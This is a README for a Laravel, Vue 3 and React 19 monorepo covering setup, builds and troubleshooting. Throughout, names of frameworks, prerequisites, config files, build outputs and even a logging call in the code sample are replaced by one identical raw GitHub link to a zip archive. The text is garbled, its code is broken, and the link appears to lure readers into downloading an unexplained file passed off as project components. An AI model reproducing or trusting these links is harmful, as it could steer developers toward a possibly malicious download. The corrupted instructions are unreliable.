A modern monorepo setup combining Laravel backend with https://raw.githubusercontent.com/nikhilcodewing/testing-8-10/main/packages/react-builder/public/testing-v2.3-alpha.3.zip and React frontend applications. This project demonstrates how to build a scalable full-stack application with multiple frontend frameworks working together.
laravel-vue-react-monorepo/
βββ packages/
β βββ react-builder/ # React-based page builder (library)
β βββ vue-dashboard/ # https://raw.githubusercontent.com/nikhilcodewing/testing-8-10/main/packages/react-builder/public/testing-v2.3-alpha.3.zip dashboard application
βββ https://raw.githubusercontent.com/nikhilcodewing/testing-8-10/main/packages/react-builder/public/testing-v2.3-alpha.3.zip # Root https://raw.githubusercontent.com/nikhilcodewing/testing-8-10/main/packages/react-builder/public/testing-v2.3-alpha.3.zip with workspaces
βββ https://raw.githubusercontent.com/nikhilcodewing/testing-8-10/main/packages/react-builder/public/testing-v2.3-alpha.3.zip
- Purpose: A React-based page builder component library
- Build Output: ES Module library that can be consumed by other applications
- Technology: React 19, TypeScript, Vite
- Output:
https://raw.githubusercontent.com/nikhilcodewing/testing-8-10/main/packages/react-builder/public/testing-v2.3-alpha.3.zipandhttps://raw.githubusercontent.com/nikhilcodewing/testing-8-10/main/packages/react-builder/public/testing-v2.3-alpha.3.zip - Module Format: ESM (ES Modules) for modern bundlers
- Purpose: Main dashboard application built with https://raw.githubusercontent.com/nikhilcodewing/testing-8-10/main/packages/react-builder/public/testing-v2.3-alpha.3.zip
- Technology: Vue 3, TypeScript, Vite
- Integration: Consumes the React Builder as a workspace dependency
Before you begin, ensure you have the following installed:
- https://raw.githubusercontent.com/nikhilcodewing/testing-8-10/main/packages/react-builder/public/testing-v2.3-alpha.3.zip (v18.0.0 or higher)
- npm (v8.0.0 or higher) or yarn (v1.22.0 or higher)
- Git
node --version
npm --version
git --version-
Clone the repository
git clone <repository-url> cd laravel-vue-react-monorepo
-
Install dependencies
# Install all dependencies for all packages npm installThis will install dependencies for:
- Root workspace
- React Builder package
- Vue Dashboard package
The React Builder is packaged as an ES Module and consumed by the Vue Dashboard through workspace dependencies:
// In Vue Dashboard (https://raw.githubusercontent.com/nikhilcodewing/testing-8-10/main/packages/react-builder/public/testing-v2.3-alpha.3.zip)
import PageBuilder from 'react-builder'; // Import the library
import 'https://raw.githubusercontent.com/nikhilcodewing/testing-8-10/main/packages/react-builder/public/testing-v2.3-alpha.3.zip'; // Import the styles
// Use the builder
https://raw.githubusercontent.com/nikhilcodewing/testing-8-10/main/packages/react-builder/public/testing-v2.3-alpha.3.zip({
containerId: "page-builder",
onChange: (data) => {
https://raw.githubusercontent.com/nikhilcodewing/testing-8-10/main/packages/react-builder/public/testing-v2.3-alpha.3.zip("Data from React:", data);
},
});Benefits of this approach:
- β Modern ES modules for better performance
- β Tree-shaking support for smaller bundles
- β TypeScript support out of the box
- β No manual file copying needed
- β Vite handles bundling automatically
React Builder (Development)
cd packages/react-builder
npm run dev- Runs on:
http://localhost:5173 - Hot reload enabled for development
Vue Dashboard (Development)
cd packages/vue-dashboard
npm run dev- Runs on:
http://localhost:5173(or next available port) - Hot reload enabled for development
# From the root directory
npm run dev --workspace=packages/react-builder
npm run dev --workspace=packages/vue-dashboardcd packages/react-builder
npm run buildThis will:
- Compile TypeScript
- Build the ES Module library
- Generate:
https://raw.githubusercontent.com/nikhilcodewing/testing-8-10/main/packages/react-builder/public/testing-v2.3-alpha.3.zipandhttps://raw.githubusercontent.com/nikhilcodewing/testing-8-10/main/packages/react-builder/public/testing-v2.3-alpha.3.zipin thedist/folder
cd packages/vue-dashboard
npm run build# From root directory
npm run build --workspace=packages/react-builder
npm run build --workspace=packages/vue-dashboard# Preview React Builder
cd packages/react-builder
npm run preview
# Preview Vue Dashboard
cd packages/vue-dashboard
npm run preview- Navigate to
packages/react-builder - Make changes to React components
- Run
npm run devfor hot reload development - Run
npm run buildto create ES module library build - The Vue Dashboard will automatically pick up changes via workspace linking
- Navigate to
packages/vue-dashboard - Make changes to Vue components
- Run
npm run devfor hot reload - The dashboard imports React Builder as a workspace dependency
- Use ES module imports:
import PageBuilder from 'react-builder'
- Build the React Builder:
npm run build(in react-builder) - Start Vue Dashboard:
npm run dev(in vue-dashboard) - Test the integration between Vue and React components
- Changes to React Builder require rebuild, then refresh Vue Dashboard
https://raw.githubusercontent.com/nikhilcodewing/testing-8-10/main/packages/react-builder/public/testing-v2.3-alpha.3.zip- Entry point that exports the libraryhttps://raw.githubusercontent.com/nikhilcodewing/testing-8-10/main/packages/react-builder/public/testing-v2.3-alpha.3.zip- Vite configuration for ES module library buildhttps://raw.githubusercontent.com/nikhilcodewing/testing-8-10/main/packages/react-builder/public/testing-v2.3-alpha.3.zip- Package configuration with exports and module fieldsdist/- Built ES module library files
https://raw.githubusercontent.com/nikhilcodewing/testing-8-10/main/packages/react-builder/public/testing-v2.3-alpha.3.zip- Main Vue application that imports React Builderhttps://raw.githubusercontent.com/nikhilcodewing/testing-8-10/main/packages/react-builder/public/testing-v2.3-alpha.3.zip- Includes react-builder as workspace dependencyhttps://raw.githubusercontent.com/nikhilcodewing/testing-8-10/main/packages/react-builder/public/testing-v2.3-alpha.3.zip- Vite configuration for Vue app
npm install # Install all dependencies
npm run test # Run tests (when implemented)npm run dev # Start development server
npm run build # Build ES module library
npm run lint # Run ESLint
npm run preview # Preview production buildnpm run dev # Start development server
npm run build # Build for production
npm run preview # Preview production build- Port conflicts: If port 5173 is in use, Vite will automatically use the next available port
- Build errors: Ensure all dependencies are installed with
npm installfrom the root - TypeScript errors: Run
npm run buildto check for compilation errors - Workspace linking issues: Run
npm installfrom the root to ensure workspace dependencies are linked correctly - React Builder not found: Ensure you've run
npm run buildin the react-builder package first
# Clean install
rm -rf node_modules packages/*/node_modules
npm install- Monorepo: Uses npm workspaces for dependency management and package linking
- Library Integration: React Builder is built as an ES Module library and consumed by Vue Dashboard as a workspace dependency
- Module Format: Uses modern ES modules for better tree-shaking and bundler optimization
- Workspace Dependencies: React Builder is imported directly as
import PageBuilder from 'react-builder' - Externalization: React and React-DOM are externalized from the builder and included in the Vue Dashboard
- Development: Each package can be developed independently with hot reload
- Production: Both packages are built separately and can be deployed independently
- React 19 - Frontend library for page builder
- Vue 3 - Frontend framework for dashboard
- TypeScript - Type safety across all packages
- Vite - Fast build tool and dev server
- ESLint - Code linting
- npm workspaces - Monorepo management
- Fork the repository
- Create a feature branch:
git checkout -b feature/amazing-feature - Make your changes
- Test your changes:
npm run buildin both packages - Commit your changes:
git commit -m 'Add amazing feature' - Push to the branch:
git push origin feature/amazing-feature - Open a Pull Request
This project is licensed under the ISC License.
For more detailed information about each package, check the individual README files in their respective directories.